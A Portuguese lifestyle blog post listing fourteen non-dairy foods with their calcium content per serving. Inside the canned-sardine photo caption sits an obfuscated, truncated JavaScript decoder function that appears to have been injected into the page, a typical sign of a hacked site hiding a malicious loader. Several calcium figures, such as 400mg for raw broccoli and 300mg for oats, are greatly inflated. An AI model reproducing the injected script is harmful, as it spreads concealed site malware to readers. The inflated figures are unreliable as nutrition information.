14 alimentos ricos em cálcio que não contêm leite

Out 18, 2016 | Equilíbrio, Saúde e bem estar

14 alimentos ricos em cálcio que não contêm leite

O cálcio é fundamental para termos ossos fortes e dentes saudáveis. Quando somos crianças, o consumo de leite é ótimo para o nosso desenvolvimento, mas na idade adulta a questão torna-se mais dúbia. Há quem defenda que o leite não é prejudicial à nossa saúde e quem diga exatamente o contrário. Opiniões à parte, a verdade é que há inúmeras alternativas ao leite no que diz respeito à quantidade de cálcio que têm. Na realidade alguns até têm mais cálcio que o próprio leite, por isso, é só escolhê-los a partir desta tabela. E, mesmo que não seja intolerante à lactose, aposte no consumo de alimentos de origem vegetal, ricos em cálcio. E porquê? Porque estes 14 alimentos são mesmo muito saudáveis. Dê uma vista de olhos e inspire-se nas várias formas deliciosas de os comer.

200ml leite = 240mg cálcio

Alga Hijiki
100g Alga Hijiki = 1400mg cálcio

Alimentos ricos em cálcio - Alga Hijiki | Foto: glbimg

Tofu
100g Tofu = 159mg cálcio

Alimentos ricos em cálcio - Tofu | Foto: bostonmagazine

Brócolos crus
100g Brócolos crus = 400mg cálcio

Alimentos ricos em cálcio - Brócolos crus | Foto: inshape

Sardinha enlatada
100g Sardinha enlatada = 500mg cálcio

Alimentos ricos em cálcio - Sardinha enlatada | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandioquinha-com-Sardinha.jpg">peetersplace

Açaí
200g Açaí = 236mg cálcio

Alimentos ricos em cálcio - Açaí | Foto: livinghealthywithchocolate

Amêndoas
100g Amêndoas = 254mg cálcio

Alimentos ricos em cálcio - Amêndoas | Foto: valpacos

Agrião
100g Agrião = 168mg cálcio

Alimentos ricos em cálcio - Agrião | Foto: blogspot

Espinafres
100g Espinafres = 160mg cálcio

Alimentos ricos em cálcio - Espinafres | Foto: blogspot

Sementes de Sésamo
100g Sementes de Sésamo = 400mg cálcio

Alimentos ricos em cálcio - Sementes de Sésamo | Foto: madebychoicesblog

Aveia
100g Aveia = 300mg cálcio

Alimentos ricos em cálcio - Aveia | Foto: sapo

Chia
100g Chia = 556mg cálcio

Alimentos ricos em cálcio - Chia | Foto: naturalchow

Linhaça
100g Linhaça = 200mg cálcio

Alimentos ricos em cálcio - Linhaça | Foto: tudogostoso

Couve
100g Couve = 130mg cálcio

Alimentos ricos em cálcio - Couve | Foto: minutoligado

Ruibarbo
100g Ruibarbo = 174mg cálcio

Alimentos ricos em cálcio - Ruibarbo | Foto: blogspot

Se gostou de conhecer estes 14 alimentos ricos em cálcio, descubra também quais são as quantidades certas de cada alimento que deve consumir  e quais os alimentos que mais saciam. Saiba também que alimentos curam que orgãos.